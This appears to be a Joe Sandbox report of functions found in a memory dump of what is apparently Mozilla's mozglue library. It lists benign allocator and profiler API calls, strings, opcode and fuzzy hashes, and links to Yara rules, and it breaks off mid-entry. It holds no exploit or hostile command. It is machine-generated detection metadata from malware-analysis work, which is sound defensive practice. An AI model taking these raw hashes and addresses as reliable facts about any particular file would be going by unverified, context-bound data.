String ID: ~q]l$~q]l
API String ID: 3693777188-572885207
Opcode ID: 5c30f5ec3e0e31607ad2905df51b0f446b009c4263dd9b69b54ec58948e2eda1
Instruction ID: 490b7f4ec8ef2344de215da5526bf77e589b21f5abc4291a017a689732cb0b22
Opcode Fuzzy Hash: 5c30f5ec3e0e31607ad2905df51b0f446b009c4263dd9b69b54ec58948e2eda1
Instruction Fuzzy Hash: 50B32971E002198FCB18CFA8C990A9DB7B2BF49308F1582A9D559BB745D730AD86CF94

Function 6C5EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7B8), ref: 6C5EFF81
LeaveCriticalSection.KERNEL32(6C65E7B8), ref: 6C5F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5F0240
EnterCriticalSection.KERNEL32(6C65E768), ref: 6C5F025B
LeaveCriticalSection.KERNEL32(6C65E768), ref: 6C5F027B

Strings

<jemalloc>, xrefs: 6C5F0D62, 6C5F0D76, 6C5F0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EFE99, 6C5EFEB7, 6C5EFED3, 6C5F0DB8, 6C5F0DD3, 6C5F19B4
: (malloc) Error in VirtualFree(), xrefs: 6C5F0D67, 6C5F0D7B, 6C5F0DAC

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: e4b8aed1b2c8ba6589150c7769a132b10113f4e096c4e4c4f7513a6046e24a51
Instruction ID: ca15ead7abdd591184ef5524d835f91c69616188835377c7c7add84086b4d2d2
Opcode Fuzzy Hash: e4b8aed1b2c8ba6589150c7769a132b10113f4e096c4e4c4f7513a6046e24a51
Instruction Fuzzy Hash: D1C28C71A057418FD718CF29C980716BBE1AFC5328F28CA6DE4B98B795D771E802CB85

Function 6C613E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C637770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>al,?,?,?,6C613E7D,?,?), ref: 6C63777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C613F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C613F5C
VerSetConditionMask.NTDLL ref: 6C613F8D
VerSetConditionMask.NTDLL ref: 6C613F99
VerSetConditionMask.NTDLL ref: 6C613FA0
VerSetConditionMask.NTDLL ref: 6C613FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C613FB4

Strings

nvinit.dll, xrefs: 6C614479
nvd3d9wrap.dll, xrefs: 6C614466
C>al, xrefs: 6C613E93

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>al$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-358638614
Opcode ID: 188e91e0ab3441ebac06793a2a27b882dfabce8fa8eb588c5cf5d77dcd7f1047
Instruction ID: a3de35e142da3a604f3ed5cacf9f78f510855dbfe2d9b4d0851cf0d908416adb
Opcode Fuzzy Hash: 188e91e0ab3441ebac06793a2a27b882dfabce8fa8eb588c5cf5d77dcd7f1047
Instruction Fuzzy Hash: 36521471A14B458FD714DF34C880ABB77E9AF89308F54892DD5928BB82CB74F909CB64

Function 6C5EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7B8), ref: 6C5EFF81
LeaveCriticalSection.KERNEL32(6C65E7B8), ref: 6C5F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5F0240
EnterCriticalSection.KERNEL32(6C65E768), ref: 6C5F025B
LeaveCriticalSection.KERNEL32(6C65E768), ref: 6C5F027B

Strings

MOZ_CRASH(), xrefs: 6C5F0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EFE99, 6C5EFEB7, 6C5EFED3, 6C5F0DB8, 6C5F0DD3, 6C5F19B4, 6C5F1A10

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 54afef7c923a436abf2e3214bf2ae0c9cc941ec08ffcc7981788af6a3610c2d7
Instruction ID: 7cac66750ce00e5db87a4f48346f3dca5300bc40a37f1804b7c3cb3584cba78f
Opcode Fuzzy Hash: 54afef7c923a436abf2e3214bf2ae0c9cc941ec08ffcc7981788af6a3610c2d7
Instruction Fuzzy Hash: C9B2AC716057418FD718CF29C990716BBE1AF85328F28CA6DE87A8B795D770E842CF81

Function 6C625600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C625E79, 6C625E8F
ProfileBuffer parse error: %s, xrefs: 6C625AC8, 6C625CBB
data, xrefs: 6C626131
expected a Time entry, xrefs: 6C625CB6
expected a Count entry, xrefs: 6C625AC3
schema, xrefs: 6C62606D

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: dc85d256d6fa40f593e5d1e1fea29abefa4784976a53fc30cac6017f9c889bfd
Instruction ID: 64ba37ac68637a1cd3114096b1dc6f4ae59c820857f686467cde4e1ea25402cb
Opcode Fuzzy Hash: dc85d256d6fa40f593e5d1e1fea29abefa4784976a53fc30cac6017f9c889bfd
Instruction Fuzzy Hash: 99924B71A083418FD724CF28C490B9ABBE1BFC9308F54891DE59A9B755DB34E809CF96

Function 6C622E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C622ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C622EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C622F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C623214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C623242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6236BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C62378D
get , xrefs: 6C623205
set , xrefs: 6C6236EC

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3c03de85279720356142e8d1ee689b4b8b4d0c75f7ef6068e95006ae894188d2
Instruction ID: 2bbaf9ac8611a2166b674b50ad27c7d967be9376fb0d356d859332d621596b8c
Opcode Fuzzy Hash: 3c03de85279720356142e8d1ee689b4b8b4d0c75f7ef6068e95006ae894188d2
Instruction Fuzzy Hash: A8325D706083818FD324CF24C4906AEBBE6AFC9318F54882DE5D987751DB35E94ACF5A

Function 6C617E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C617ECF, 6C618335
data, xrefs: 6C618280, 6C6183E1
(pre-xul), xrefs: 6C617E88
vel, xrefs: 6C618207
schema, xrefs: 6C6181E3, 6C618311

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vel
API String ID: 3412268980-2347612338
Opcode ID: 70a89d2acef4b725469917207133d599f6a679d77923e29b81dc7b7afd530879
Instruction ID: a2dee28258ce405f9d142ab598cae22243b18a40ed064ca2247ca7ee193780bb
Opcode Fuzzy Hash: 70a89d2acef4b725469917207133d599f6a679d77923e29b81dc7b7afd530879
Instruction Fuzzy Hash: A3E18EB1A043408BC710CF68C84065BFBEABFD9318F558A2DE899D7790DBB0DD498B95

Function 6C5F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2
memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5F7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5F730D
MOZ_CRASH(), xrefs: 6C5F7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5F72F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F7BCD, 6C5F7C1F, 6C5F7C34, 6C5F80FD
ewcl, xrefs: 6C5F5E9C, 6C5F5F22, 6C5F61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5F72E3

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewcl
API String ID: 2613674957-3907735712
Opcode ID: f5ce22cf505a7429fec9a3e65efe89fbf5c0404e97cb9b90d98344c79bb2d07f
Instruction ID: 49c2772cc89f3f6c2ef2451e7c4258f5a784cb1be34daf2a0bb4fd035183f610
Opcode Fuzzy Hash: f5ce22cf505a7429fec9a3e65efe89fbf5c0404e97cb9b90d98344c79bb2d07f
Instruction Fuzzy Hash: ED337B716067018FD308CF29C990615BBE2BF85328F29C6ADE9798B7A5D771E842CF41

Function 6C5FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD4F2
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD50B

Part of subcall function 6C5DCFE0: EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5DCFF6
Part of subcall function 6C5DCFE0: LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD52E
EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FD6A6
LeaveCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD712
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FD7EA

Strings

<jemalloc>, xrefs: 6C5FD827
: (malloc) Error initializing arena, xrefs: 6C5FD82C

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 959b063e13700530899164c9e8296891fead730d966f4d517184c7aae98a2f76
Instruction ID: adab83503d4f534160065a0d6c0466094fafa7585ceb02c8e15dfb06983f35d6
Opcode Fuzzy Hash: 959b063e13700530899164c9e8296891fead730d966f4d517184c7aae98a2f76
Instruction Fuzzy Hash: B991E671A057018FDB18CF29C89072AB7E1FB89314F65492EE56AC7B81D734E846CF86

Function 6C634EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C634EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634F2E
moz_xmalloc.MOZGLUE ref: 6C634F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C634F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6352E6
Sleep.KERNEL32(00000010), ref: 6C635481
free.MOZGLUE(?), ref: 6C635498

Strings

(, xrefs: 6C635250

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 65558686dafbe9cc5c36513b1a87a4807918db902c2c969d079507030a9900c4
Instruction ID: 17d5f2cec0c5edce6fbc3945e0e8149e0dc2a2fb4a00bb3246ed1e66fae5cc97
Opcode Fuzzy Hash: 65558686dafbe9cc5c36513b1a87a4807918db902c2c969d079507030a9900c4
Instruction Fuzzy Hash: A0F1F371A18B008FC716DF39C89062BB7F5AFD6384F45872EF84AA7651DB31D8428B85

Function 6C5F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5FA8B1, 6C5FA8D4, 6C5FA8EF

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ea4c90d9e752687343f05b2779745a953e1c4d2d19bfae41b9c233d50a2ed5ac
Instruction ID: f3e17908c496ad3808370fe0b65830060b1c6b4bda7ed4468f47d1f4d58f2bda
Opcode Fuzzy Hash: ea4c90d9e752687343f05b2779745a953e1c4d2d19bfae41b9c233d50a2ed5ac
Instruction Fuzzy Hash: 6E726C72A057118FD708CF29C940615FBE1BF89328F2AC66DE8699B791D375E842CF81

Function 6C622C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C622C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C622C61

Part of subcall function 6C5D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5D4E5A
Part of subcall function 6C5D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C622C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C622E2D

Part of subcall function 6C5E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5E81DE

Strings

(root), xrefs: 6C62354F
ProfileBuffer parse error: %s, xrefs: 6C622E3B
expected a Time entry, xrefs: 6C622E36

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 3fc6e3b21afc5fb85b76c0c1477065f06cb198d8c8ec7c0ab94e3b91b4c5ddd8
Instruction ID: 7c0315decc3cfe55f92c1dff790d5e4f86b191e4295c62bb6e862579fcc93fd8
Opcode Fuzzy Hash: 3fc6e3b21afc5fb85b76c0c1477065f06cb198d8c8ec7c0ab94e3b91b4c5ddd8
Instruction Fuzzy Hash: 4591CF706087408FC724CF24C48069EB7E5AFCA368F508D2DE59A9B750DB34D949CF5A

Function 6C639E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C639F3D
__aulldiv.LIBCMT ref: 6C639F77
__aullrem.LIBCMT ref: 6C639F8C
__aulldiv.LIBCMT ref: 6C63A023

Strings

NaN, xrefs: 6C639EAB
-Infinity, xrefs: 6C639E60, 6C639E7B

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 2547baa74b8a9d7c537d0222108f279f98d0d1de98271610e428ed809b505059
Instruction ID: bf78aff0c190cd5e576f458b8ea03b61670c9ddb3bc15d65e8463fac0895bfc1
Opcode Fuzzy Hash: 2547baa74b8a9d7c537d0222108f279f98d0d1de98271610e428ed809b505059
Instruction Fuzzy Hash: D8C1B271E043288BDF14CF98C8407DEB7B6EF89308F546529D409ABB81DB70AC45CB99

Function 6C5DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C5DD852
1, xrefs: 6C5DDBDD
8, xrefs: 6C5DDC08
-, xrefs: 6C5DD7DD
9, xrefs: 6C5DDE7F
@, xrefs: 6C5DDAF6
0, xrefs: 6C5DDC7F
, xrefs: 6C5DDA88

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 1f4ee1e053619c69e7e5d3de91a50fefdaa2f8fabd50e127471d6a79557af6b9
Instruction ID: 683ad62dc0fb9157887a6b4d3c0f9c90a4f09d33138f5c9a463ef234272fe6d1
Opcode Fuzzy Hash: 1f4ee1e053619c69e7e5d3de91a50fefdaa2f8fabd50e127471d6a79557af6b9
Instruction Fuzzy Hash: C362BE7150C3458FD711CF2CC89076ABBF2AF86358F1A8A4DE4D54BA51C335A885CFAA

Function 6C64545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C648A4B

Strings

~q]l, xrefs: 6C649459, 6C649269, 6C6456C7, 6C645703, 6C64921F, 6C645740, 6C64948F

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: ~q]l
API String ID: 2221118986-3028681918
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cee5edf43f4068935e0553135b682d0f28df9ff1d323248eb2cf0813c2387819
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 80B10972E0121ACFDB14CF68CC907E9B7B6EF85314F1882A9C549EB791D7309989CB94

Function 6C64542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C64925C

Strings

~q]l, xrefs: 6C649459, 6C649269, 6C6456C7, 6C645703, 6C64921F, 6C645740, 6C64948F

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: ~q]l
API String ID: 2221118986-3028681918
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 146dcedab37ed06f50cdefe45d16bd9a32bef373e5c947ab3528bcb5b1f9a4c6
